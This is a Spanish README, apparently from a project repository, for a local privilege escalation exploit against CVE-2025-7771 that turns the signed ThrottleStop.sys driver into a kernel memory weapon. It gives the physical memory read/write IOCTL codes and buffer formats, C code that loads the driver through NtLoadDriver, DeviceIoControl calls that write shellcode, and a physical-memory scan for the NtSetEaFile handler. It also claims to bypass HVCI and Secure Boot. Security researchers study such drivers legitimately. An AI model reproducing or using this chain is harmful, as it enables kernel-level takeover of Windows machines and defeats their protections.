
Escalada de privilegios en el sistema desde un controlador sin firmar utilizando la vulnerabilidad de throttlestop
CVE-2025-7771 — Lectura/Escritura arbitraria de memoria física a través de los IOCTL de ThrottleStop.sys
Este proyecto se publica únicamente con fines educativos y de investigación. El objetivo es demostrar cómo un controlador de kernel firmado y de confianza puede ser utilizado como arma para la escalada de privilegios local (LPE) desde Administrador hasta SYSTEM/Kernel, evadiendo de forma efectiva las funciones de seguridad modernas de Windows, incluidas HVCI (Integridad de código impuesta por hipervisor) y Secure Boot.
No utilice esta herramienta con fines malintencionados. El autor no se hace responsable de ningún uso indebido.
| Campo | Detalles |
|---|---|
| CVE | CVE-2025-7771 |
| Controlador | ThrottleStop.sys (incluido con ThrottleStop) |
| Proveedor | TechPowerUp / Kevin Glynn |
| Tipo | Lectura/Escritura arbitraria de memoria física |
| Impacto | Escalada de privilegios local (Admin → Kernel) |
| CVSS | 8.2 (Alto) |
| Firma | Firmado por Microsoft mediante WHQL / Attestation |
| Evasión de HVCI | ✅ Sí: el controlador está firmado legítimamente y la directiva CI lo permite |
ThrottleStop.sys con IOCTL de mapeo de memoria físicaEl controlador de kernel ThrottleStop.sys expone un dispositivo (\\.\ThrottleStop) accesible para cualquier Administrador local. Implementa dos IOCTL que proporcionan acceso sin restricciones a la memoria física:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
El controlador llama a MmMapIoSpace() para asignar la dirección física solicitada en el espacio virtual del kernel, copia los datos al búfer de salida y luego llama a MmUnmapIoSpace(). No se realiza ninguna validación sobre la dirección física: se puede leer cualquier dirección del espacio de direcciones físico.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Mismo mecanismo que la lectura, pero escribe datos proporcionados por el usuario en la dirección física mapeada. De nuevo, sin validación de dirección ni de rango.
El controlador fue diseñado para permitir que ThrottleStop (una utilidad de subvoltaje/limitación de la CPU) leyera y escribiera directamente MSR y registros de hardware. Los IOCTL de memoria física probablemente se añadieron para el acceso MMIO al espacio de configuración PCI o a los sensores térmicos de la CPU, pero la implementación no realiza ninguna comprobación de límites:
GENERIC_READ | GENERIC_WRITEEsto transforma un controlador legítimo de utilidad de hardware en una primitiva completa de lectura/escritura a nivel de kernel.
La cadena de explotación escala desde una cuenta de Administrador local hasta la ejecución arbitraria de código en kernel, logrando de hecho un control ring-0 a nivel de SYSTEM.
El mapeador coloca ThrottleStop.sys en %TEMP%, crea una entrada de servicio en el registro bajo HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop y lo carga mediante NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Dado que ThrottleStop.sys está firmado legítimamente, se carga incluso con HVCI/Secure Boot habilitados. La directiva CI de Windows confía en el certificado.
Con el identificador del dispositivo, el exploit puede leer/escribir cualquier dirección física del sistema:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
El exploit envuelve estas operaciones en funciones auxiliares que gestionan lecturas/escrituras fragmentadas (1, 2, 4 u 8 bytes por llamada) para transferencias de longitud arbitraria.
Para ejecutar funciones arbitrarias del kernel, el exploit necesita encontrar la dirección física de un manejador de syscall del kernel. Su objetivo es NtSetEaFile (una syscall raramente supervisada):
ntoskrnl.exe en modo usuario mediante LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) y obtener la RVA de NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avanzar en pasos de 2MB y comparar bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}